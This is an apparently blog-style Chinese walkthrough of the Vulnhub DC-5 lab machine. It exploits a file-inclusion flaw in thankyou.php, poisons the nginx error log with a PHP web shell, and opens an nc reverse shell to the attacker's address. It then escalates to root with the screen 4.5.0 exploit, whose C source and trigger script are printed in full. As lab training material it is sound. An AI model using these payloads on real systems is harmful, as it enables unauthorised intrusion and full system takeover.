前言
这次练习的靶机是vulnhub平台下的DC系列靶机第五台,下载地址为https://www.vulnhub.com/entry/dc-5,314/。该靶机的难度系数为中等,该靶机只有一个flag,最终目的的获取root权限,夺取flag。
虚拟机配置
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-5靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
然后需要溢出CD/DVD选项,启动时候会自动检测并连接CD/DVD,如果连接不上就会导致启动不了虚拟机。当然如果不移除该设备的话,去掉勾选启动时连接
也是可以的。
收集信息
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
通过nmap扫描获取到靶机的IP地址为 192.168.119.164
。下面就对靶机更加详细地扫描。
nmap -A -sV -p- --min-parallelism 200 192.168.119.164
-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
通过扫描发现开靶机开放了80端口,111端口,53189端口。然后再扫描一下目录。
dirsearch -u 192.168.119.164 -t 300
扫描目录没有发现什么重要信息,然后打开网站看看有没有数据交互的地方,因为有数据交互的地方就有可能有漏洞。
在 contact.php
这也页面发现了一个可以提交数据的地方,这个地方有可能有sql注入。在这里输入一些单引号和双引号并提交,看看页面会不会报错。
提交后没有报错,还跳转到了 thankyou.php
页面,发现了这些数据是通过 GET
方式提交。
http://192.168.119.164/thankyou.php?firstname=dafda%27&lastname=adfasdf%27%27&country=other&subject=elsld%27%22
还通过插件wappalyzer
得知该靶机使用的中间件是Nginx
。最后还发现刷新后底部版权声明会发生变化,猜测这个底部的文件包含可以通过参数控制。
根据我开发网站的经验来看,因为所有页面底部版权声明内容都相同,为了方便管理一般会把底部单独写到一个文件里面,然后底部网页地址存储在一个配置文件的常量里,然后每个页面可以通过这个常量来引入底部页面。
漏洞利用
通过目录扫描得知thankyou.php
与index.php
等页面在同一个目录下面,所以我们可以测试包含 index.php
这个页面。一般文件包含的参数常见的有 include
, require
, page
,file
, f
等等,我们可以首先手动尝试这些可能性极高的参数,如果没有发现再通过字典爆破。最终发现 file
正是文件包含的参数。
http://192.168.119.164/thankyou.php?file=index.php
首页已经包含了进来,尝试一下包含网站目录外部的文件。
http://192.168.119.164/thankyou.php?file=/etc/passwd
网站外部文件也能包含进来,那么我们也可以包含nginx的日志文件。每当我们访问一个页面,nginx就会把相关的访问记录写入日志文件 access.log
的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log
中。nginx的日志文件一般存储在 /var/log/nginx/
中。我们尝试将一句话木马写入日志文件中。
http://192.168.119.165/thankyou.php?file=<?php system($_GET['a']);?>
这里引入一个错误的文件,让nginx将上面URL写入error.log中,也就将一句话木马写入了日志文件中。
接下来就测试一下这个一句话木马。
http://192.168.119.165/thankyou.php?file=/var/log/nginx/error.log&a=id
没有发现 id
命令输出的结果,命令没有作用。经过分析发现写入日志的命令是通过url编码后的命令,所以服务器就把它当成一个字符串了。我们可以使用burpsuite提交数据,这样就可以避免url编码。
然后再来测试一下命令,现在已经发现命令执行成功了!!!
http://192.168.119.165/thankyou.php?file=/var/log/nginx/error.log&a=id
建立shell
接下来就反弹一个shell,这样操作起来更加的方便。首先在本地监听一个端口 4443
。
rlwrap nc -lvnp 4443
然后再浏览器访问下面地址,利用一句话木马执行反弹shell的命令。
http://192.168.119.165/thankyou.php?file=/var/log/nginx/error.log&a=nc -e /bin/bash 192.168.119.130 4443
然后升级为交互式shell,在本地执行下面命令:
python -c 'import pty;pty.spawn("/bin/bash")'
提权
老规矩,还是首先测试一下能否suid提权。
find / -perm -u=s -type f -exec ls -la {
} \; 2>/dev/null
-perm 是代表按指定权限搜索。
-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。关于这个参数更详细的内容可以参考:https://blog.csdn.net/weixin_44061169/article/details/105784760
-tpye 代表搜索指定的类型,f代表文件。
-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以分号为结束标识。更详细内容可以参考:https://www.pianshen.com/article/86691137271/
2>/dev/null 代表不显示错误信息,详细介绍已经在前面的博客讲了,可以参考我前面的博文。
发现了一个比较特殊的文件 screen-4.5.0
,当然其他文件比较常见,通过经验判断是不能提权的。接下来就用searchsploit搜索一下这个比较特殊的文件。
searchsploit screen 4.5.0
首先把第一个拷贝到当前目录尝试一下。
searchsploit -m 41154.sh
经过测试这个文件直接上传执行不会成功,需要分别将里面的代码分为三个部分,分别编译后执行才能成功。
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
将这段代码保存为 libhax.c
,并执行下面命令进行编译:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
-fPIC 参数表明使用地址无关代码。
-shared 参数表明产生共享库。
-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。
简单几句是讲解不清这些参数的作用的,更多内容可以参考:
https://bbs.csdn.net/topics/300122156,gcc 参数 -ldl 是指什么?
https://blog.csdn.net/hlzs_01/article/details/39337557,gcc -ldl
https://www.cnblogs.com/cswuyg/p/3830703.html,Linux共享对象之编译参数fPIC
有警告,但是没关系。接下来将下面代码保存为另一个文件 rootshell.c
。
#include <stdio.h>
int main(void){
setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
然后执行下面命令编译rootshell.c:
gcc -o rootshell rootshell.c
然后将下面代码保存为 getroot.sh
。
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
然后将编译后的文件和 getroot.sh
共三个文件一起上传到靶机的 /tmp
目录。在靶机执行下面命令:
nc -lvnp 4448 > libhax.so
这代表监听4448端口,并把监听到的数据写入libhax.so这个文件中。
然后在本地执行下面命令:
nc 192.168.119.165 4448 < libhax.so
这代表将libhax.so传送到192.168.119.160的4448端口
上传结束后在本地按ctrl+c结束。其他两个文件按照这种方法依次上传
,要注意的是需要上传到 /tmp
目录下,因为代码中使用的是绝对路径。
给 getshell.sh
赋予执行权限,然后执行。
chmod +x getroot.sh./getroot.sh
现在已经提权成功了,可以去/root
目录获取flag了。
参考文献
[1] https://bbs.csdn.net/topics/300122156,gcc 参数 -ldl 是指什么?
[2] https://blog.csdn.net/hlzs_01/article/details/39337557,gcc -ldl
[3] https://www.cnblogs.com/cswuyg/p/3830703.html,Linux共享对象之编译参数fPIC
[4] https://blog.csdn.net/Naisu_kun/article/details/116918290,GCC快速入门
[5] https://www.zhihu.com/question/25536695,谁能用通俗的语言解释一下什么是 RPC 框架?
[6] https://www.jianshu.com/p/7d6853140e13,什么是RPC?
[7] https://blog.csdn.net/weixin_43583637/article/details/102769923,Vulnhub靶机实战——DC-5